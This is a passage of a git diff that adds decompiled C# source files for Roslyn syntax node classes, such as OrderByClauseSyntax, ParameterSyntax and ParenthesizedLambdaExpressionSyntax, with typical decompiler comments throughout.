OperatorMemberCrefSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + if (index != 3) + { + return null; + } + return (SyntaxNode?)(object)((SyntaxNode)this).GetRed(ref parameters, 3); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + if (index != 3) + { + return null; + } + return (SyntaxNode?)(object)parameters; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitOperatorMemberCref(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitOperatorMemberCref(this); + } + + public OperatorMemberCrefSyntax Update(SyntaxToken operatorKeyword, SyntaxToken checkedKeyword, SyntaxToken operatorToken, CrefParameterListSyntax? parameters) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + if (operatorKeyword != OperatorKeyword || checkedKeyword != CheckedKeyword || operatorToken != OperatorToken || parameters != Parameters) + { + OperatorMemberCrefSyntax operatorMemberCrefSyntax = SyntaxFactory.OperatorMemberCref(operatorKeyword, checkedKeyword, operatorToken, parameters); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return operatorMemberCrefSyntax; + } + return operatorMemberCrefSyntax.WithAnnotations(annotations); + } + return this; + } + + public OperatorMemberCrefSyntax WithOperatorKeyword(SyntaxToken operatorKeyword) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(operatorKeyword, CheckedKeyword, OperatorToken, Parameters); + } + + public OperatorMemberCrefSyntax WithCheckedKeyword(SyntaxToken checkedKeyword) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(OperatorKeyword, checkedKeyword, OperatorToken, Parameters); + } + + public OperatorMemberCrefSyntax WithOperatorToken(SyntaxToken operatorToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + return Update(OperatorKeyword, CheckedKeyword, operatorToken, Parameters); + } + + public OperatorMemberCrefSyntax WithParameters(CrefParameterListSyntax? parameters) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + return Update(OperatorKeyword, CheckedKeyword, OperatorToken, parameters); + } + + public OperatorMemberCrefSyntax AddParametersParameters(params CrefParameterSyntax[] items) + { + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + CrefParameterListSyntax crefParameterListSyntax = Parameters ?? SyntaxFactory.CrefParameterList(); + return WithParameters(crefParameterListSyntax.WithParameters(crefParameterListSyntax.Parameters.AddRange((IEnumerable)items))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/OrderByClauseSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/OrderByClauseSyntax.cs new file mode 100644 index 0000000..92c66eb --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/OrderByClauseSyntax.cs @@ -0,0 +1,103 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class OrderByClauseSyntax : QueryClauseSyntax +{ + private SyntaxNode? orderings; + + public SyntaxToken OrderByKeyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.OrderByClauseSyntax)(object)((SyntaxNode)this).Green).orderByKeyword, ((SyntaxNode)this).Position, 0); + + public SeparatedSyntaxList Orderings + { + get + { + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + SyntaxNode red = ((SyntaxNode)this).GetRed(ref orderings, 1); + if (red == null) + { + return default(SeparatedSyntaxList); + } + return new SeparatedSyntaxList(red, ((SyntaxNode)this).GetChildIndex(1)); + } + } + + internal OrderByClauseSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + if (index != 1) + { + return null; + } + return ((SyntaxNode)this).GetRed(ref orderings, 1); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + if (index != 1) + { + return null; + } + return orderings; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitOrderByClause(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitOrderByClause(this); + } + + public OrderByClauseSyntax Update(SyntaxToken orderByKeyword, SeparatedSyntaxList orderings) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + if (orderByKeyword != OrderByKeyword || orderings != Orderings) + { + OrderByClauseSyntax orderByClauseSyntax = SyntaxFactory.OrderByClause(orderByKeyword, orderings); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return orderByClauseSyntax; + } + return orderByClauseSyntax.WithAnnotations(annotations); + } + return this; + } + + public OrderByClauseSyntax WithOrderByKeyword(SyntaxToken orderByKeyword) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + return Update(orderByKeyword, Orderings); + } + + public OrderByClauseSyntax WithOrderings(SeparatedSyntaxList orderings) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + return Update(OrderByKeyword, orderings); + } + + public OrderByClauseSyntax AddOrderings(params OrderingSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithOrderings(Orderings.AddRange((IEnumerable)items)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/OrderingSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/OrderingSyntax.cs new file mode 100644 index 0000000..e186fd3 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/OrderingSyntax.cs @@ -0,0 +1,89 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class OrderingSyntax : CSharpSyntaxNode +{ + private ExpressionSyntax? expression; + + public ExpressionSyntax Expression => ((SyntaxNode)this).GetRedAtZero(ref expression); + + public SyntaxToken AscendingOrDescendingKeyword + { + get + { + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken ascendingOrDescendingKeyword = ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.OrderingSyntax)(object)((SyntaxNode)this).Green).ascendingOrDescendingKeyword; + if (ascendingOrDescendingKeyword == null) + { + return default(SyntaxToken); + } + return new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)ascendingOrDescendingKeyword, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + } + } + + internal OrderingSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base((GreenNode)(object)green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + if (index != 0) + { + return null; + } + return (SyntaxNode?)(object)((SyntaxNode)this).GetRedAtZero(ref expression); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + if (index != 0) + { + return null; + } + return (SyntaxNode?)(object)expression; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitOrdering(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitOrdering(this); + } + + public OrderingSyntax Update(ExpressionSyntax expression, SyntaxToken ascendingOrDescendingKeyword) + { + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + if (expression != Expression || ascendingOrDescendingKeyword != AscendingOrDescendingKeyword) + { + OrderingSyntax orderingSyntax = SyntaxFactory.Ordering(Kind(), expression, ascendingOrDescendingKeyword); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return orderingSyntax; + } + return orderingSyntax.WithAnnotations(annotations); + } + return this; + } + + public OrderingSyntax WithExpression(ExpressionSyntax expression) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + return Update(expression, AscendingOrDescendingKeyword); + } + + public OrderingSyntax WithAscendingOrDescendingKeyword(SyntaxToken ascendingOrDescendingKeyword) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + return Update(Expression, ascendingOrDescendingKeyword); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ParameterListSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ParameterListSyntax.cs new file mode 100644 index 0000000..9d21990 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ParameterListSyntax.cs @@ -0,0 +1,150 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class ParameterListSyntax : BaseParameterListSyntax +{ + private SyntaxNode? parameters; + + internal int ParameterCount + { + get + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + int num = 0; + Enumerator enumerator = Parameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + if (!enumerator.Current.IsArgList) + { + num++; + } + } + return num; + } + } + + public SyntaxToken OpenParenToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ParameterListSyntax)(object)((SyntaxNode)this).Green).openParenToken, ((SyntaxNode)this).Position, 0); + + public override SeparatedSyntaxList Parameters + { + get + { + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + SyntaxNode red = ((SyntaxNode)this).GetRed(ref parameters, 1); + if (red == null) + { + return default(SeparatedSyntaxList); + } + return new SeparatedSyntaxList(red, ((SyntaxNode)this).GetChildIndex(1)); + } + } + + public SyntaxToken CloseParenToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ParameterListSyntax)(object)((SyntaxNode)this).Green).closeParenToken, ((SyntaxNode)this).GetChildPosition(2), ((SyntaxNode)this).GetChildIndex(2)); + + internal ParameterListSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + if (index != 1) + { + return null; + } + return ((SyntaxNode)this).GetRed(ref parameters, 1); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + if (index != 1) + { + return null; + } + return parameters; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitParameterList(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitParameterList(this); + } + + public ParameterListSyntax Update(SyntaxToken openParenToken, SeparatedSyntaxList parameters, SyntaxToken closeParenToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + if (openParenToken != OpenParenToken || parameters != Parameters || closeParenToken != CloseParenToken) + { + ParameterListSyntax parameterListSyntax = SyntaxFactory.ParameterList(openParenToken, parameters, closeParenToken); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return parameterListSyntax; + } + return parameterListSyntax.WithAnnotations(annotations); + } + return this; + } + + public ParameterListSyntax WithOpenParenToken(SyntaxToken openParenToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(openParenToken, Parameters, CloseParenToken); + } + + internal override BaseParameterListSyntax WithParametersCore(SeparatedSyntaxList parameters) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithParameters(parameters); + } + + public new ParameterListSyntax WithParameters(SeparatedSyntaxList parameters) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(OpenParenToken, parameters, CloseParenToken); + } + + public ParameterListSyntax WithCloseParenToken(SyntaxToken closeParenToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + return Update(OpenParenToken, Parameters, closeParenToken); + } + + internal override BaseParameterListSyntax AddParametersCore(params ParameterSyntax[] items) + { + return AddParameters(items); + } + + public new ParameterListSyntax AddParameters(params ParameterSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithParameters(Parameters.AddRange((IEnumerable)items)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ParameterSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ParameterSyntax.cs new file mode 100644 index 0000000..5ac5a6e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ParameterSyntax.cs @@ -0,0 +1,195 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class ParameterSyntax : BaseParameterSyntax +{ + private SyntaxNode? attributeLists; + + private TypeSyntax? type; + + private EqualsValueClauseSyntax? @default; + + internal bool IsArgList + { + get + { + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + if (Type == null) + { + return Identifier.ContextualKind() == SyntaxKind.ArgListKeyword; + } + return false; + } + } + + public override SyntaxList AttributeLists => new SyntaxList(((SyntaxNode)this).GetRed(ref attributeLists, 0)); + + public override SyntaxTokenList Modifiers + { + get + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + GreenNode slot = ((SyntaxNode)this).Green.GetSlot(1); + if (slot == null) + { + return default(SyntaxTokenList); + } + return new SyntaxTokenList((SyntaxNode)(object)this, slot, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + } + } + + public override TypeSyntax? Type => ((SyntaxNode)this).GetRed(ref type, 2); + + public SyntaxToken Identifier => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ParameterSyntax)(object)((SyntaxNode)this).Green).identifier, ((SyntaxNode)this).GetChildPosition(3), ((SyntaxNode)this).GetChildIndex(3)); + + public EqualsValueClauseSyntax? Default => ((SyntaxNode)this).GetRed(ref @default, 4); + + internal ParameterSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => ((SyntaxNode)this).GetRedAtZero(ref attributeLists), + 2 => ((SyntaxNode)this).GetRed(ref type, 2), + 4 => ((SyntaxNode)this).GetRed(ref @default, 4), + _ => null, + }); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => attributeLists, + 2 => type, + 4 => @default, + _ => null, + }); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitParameter(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitParameter(this); + } + + public ParameterSyntax Update(SyntaxList attributeLists, SyntaxTokenList modifiers, TypeSyntax? type, SyntaxToken identifier, EqualsValueClauseSyntax? @default) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + //IL_0041: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + if (attributeLists != AttributeLists || modifiers != Modifiers || type != Type || identifier != Identifier || @default != Default) + { + ParameterSyntax parameterSyntax = SyntaxFactory.Parameter(attributeLists, modifiers, type, identifier, @default); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return parameterSyntax; + } + return parameterSyntax.WithAnnotations(annotations); + } + return this; + } + + internal override BaseParameterSyntax WithAttributeListsCore(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithAttributeLists(attributeLists); + } + + public new ParameterSyntax WithAttributeLists(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return Update(attributeLists, Modifiers, Type, Identifier, Default); + } + + internal override BaseParameterSyntax WithModifiersCore(SyntaxTokenList modifiers) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithModifiers(modifiers); + } + + public new ParameterSyntax WithModifiers(SyntaxTokenList modifiers) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, modifiers, Type, Identifier, Default); + } + + internal override BaseParameterSyntax WithTypeCore(TypeSyntax? type) + { + return WithType(type); + } + + public new ParameterSyntax WithType(TypeSyntax? type) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, type, Identifier, Default); + } + + public ParameterSyntax WithIdentifier(SyntaxToken identifier) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, Type, identifier, Default); + } + + public ParameterSyntax WithDefault(EqualsValueClauseSyntax? @default) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, Type, Identifier, @default); + } + + internal override BaseParameterSyntax AddAttributeListsCore(params AttributeListSyntax[] items) + { + return AddAttributeLists(items); + } + + public new ParameterSyntax AddAttributeLists(params AttributeListSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithAttributeLists(AttributeLists.AddRange((IEnumerable)items)); + } + + internal override BaseParameterSyntax AddModifiersCore(params SyntaxToken[] items) + { + return AddModifiers(items); + } + + public new ParameterSyntax AddModifiers(params SyntaxToken[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + SyntaxTokenList modifiers = Modifiers; + return WithModifiers(((SyntaxTokenList)(ref modifiers)).AddRange((IEnumerable)items)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ParenthesizedExpressionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ParenthesizedExpressionSyntax.cs new file mode 100644 index 0000000..b18e914 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ParenthesizedExpressionSyntax.cs @@ -0,0 +1,89 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class ParenthesizedExpressionSyntax : ExpressionSyntax +{ + private ExpressionSyntax? expression; + + public SyntaxToken OpenParenToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ParenthesizedExpressionSyntax)(object)((SyntaxNode)this).Green).openParenToken, ((SyntaxNode)this).Position, 0); + + public ExpressionSyntax Expression => ((SyntaxNode)this).GetRed(ref expression, 1); + + public SyntaxToken CloseParenToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ParenthesizedExpressionSyntax)(object)((SyntaxNode)this).Green).closeParenToken, ((SyntaxNode)this).GetChildPosition(2), ((SyntaxNode)this).GetChildIndex(2)); + + internal ParenthesizedExpressionSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + if (index != 1) + { + return null; + } + return (SyntaxNode?)(object)((SyntaxNode)this).GetRed(ref expression, 1); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + if (index != 1) + { + return null; + } + return (SyntaxNode?)(object)expression; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitParenthesizedExpression(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitParenthesizedExpression(this); + } + + public ParenthesizedExpressionSyntax Update(SyntaxToken openParenToken, ExpressionSyntax expression, SyntaxToken closeParenToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + if (openParenToken != OpenParenToken || expression != Expression || closeParenToken != CloseParenToken) + { + ParenthesizedExpressionSyntax parenthesizedExpressionSyntax = SyntaxFactory.ParenthesizedExpression(openParenToken, expression, closeParenToken); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return parenthesizedExpressionSyntax; + } + return parenthesizedExpressionSyntax.WithAnnotations(annotations); + } + return this; + } + + public ParenthesizedExpressionSyntax WithOpenParenToken(SyntaxToken openParenToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(openParenToken, Expression, CloseParenToken); + } + + public ParenthesizedExpressionSyntax WithExpression(ExpressionSyntax expression) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(OpenParenToken, expression, CloseParenToken); + } + + public ParenthesizedExpressionSyntax WithCloseParenToken(SyntaxToken closeParenToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + return Update(OpenParenToken, Expression, closeParenToken); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ParenthesizedLambdaExpressionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ParenthesizedLambdaExpressionSyntax.cs new file mode 100644 index 0000000..c3fed94 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ParenthesizedLambdaExpressionSyntax.cs @@ -0,0 +1,322 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class ParenthesizedLambdaExpressionSyntax : LambdaExpressionSyntax +{ + private SyntaxNode? attributeLists; + + private TypeSyntax? returnType; + + private ParameterListSyntax? parameterList; + + private BlockSyntax? block; + + private ExpressionSyntax? expressionBody; + + public override SyntaxToken AsyncKeyword => Modifiers.FirstOrDefault(SyntaxKind.AsyncKeyword); + + public override SyntaxList AttributeLists => new SyntaxList(((SyntaxNode)this).GetRed(ref attributeLists, 0)); + + public override SyntaxTokenList Modifiers + { + get + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + GreenNode slot = ((SyntaxNode)this).Green.GetSlot(1); + if (slot == null) + { + return default(SyntaxTokenList); + } + return new SyntaxTokenList((SyntaxNode)(object)this, slot, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + } + } + + public TypeSyntax? ReturnType => ((SyntaxNode)this).GetRed(ref returnType, 2); + + public ParameterListSyntax ParameterList => ((SyntaxNode)this).GetRed(ref parameterList, 3); + + public override SyntaxToken ArrowToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ParenthesizedLambdaExpressionSyntax)(object)((SyntaxNode)this).Green).arrowToken, ((SyntaxNode)this).GetChildPosition(4), ((SyntaxNode)this).GetChildIndex(4)); + + public override BlockSyntax? Block => ((SyntaxNode)this).GetRed(ref block, 5); + + public override ExpressionSyntax? ExpressionBody => ((SyntaxNode)this).GetRed(ref expressionBody, 6); + + public new ParenthesizedLambdaExpressionSyntax WithBody(CSharpSyntaxNode body) + { + if (!(body is BlockSyntax blockSyntax)) + { + return WithExpressionBody((ExpressionSyntax)body).WithBlock(null); + } + return WithBlock(blockSyntax).WithExpressionBody(null); + } + + public ParenthesizedLambdaExpressionSyntax Update(SyntaxToken asyncKeyword, ParameterListSyntax parameterList, SyntaxToken arrowToken, CSharpSyntaxNode body) + { + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + if (!(body is BlockSyntax blockSyntax)) + { + return Update(asyncKeyword, parameterList, arrowToken, null, (ExpressionSyntax)body); + } + return Update(asyncKeyword, parameterList, arrowToken, blockSyntax, null); + } + + internal override AnonymousFunctionExpressionSyntax WithAsyncKeywordCore(SyntaxToken asyncKeyword) + { + 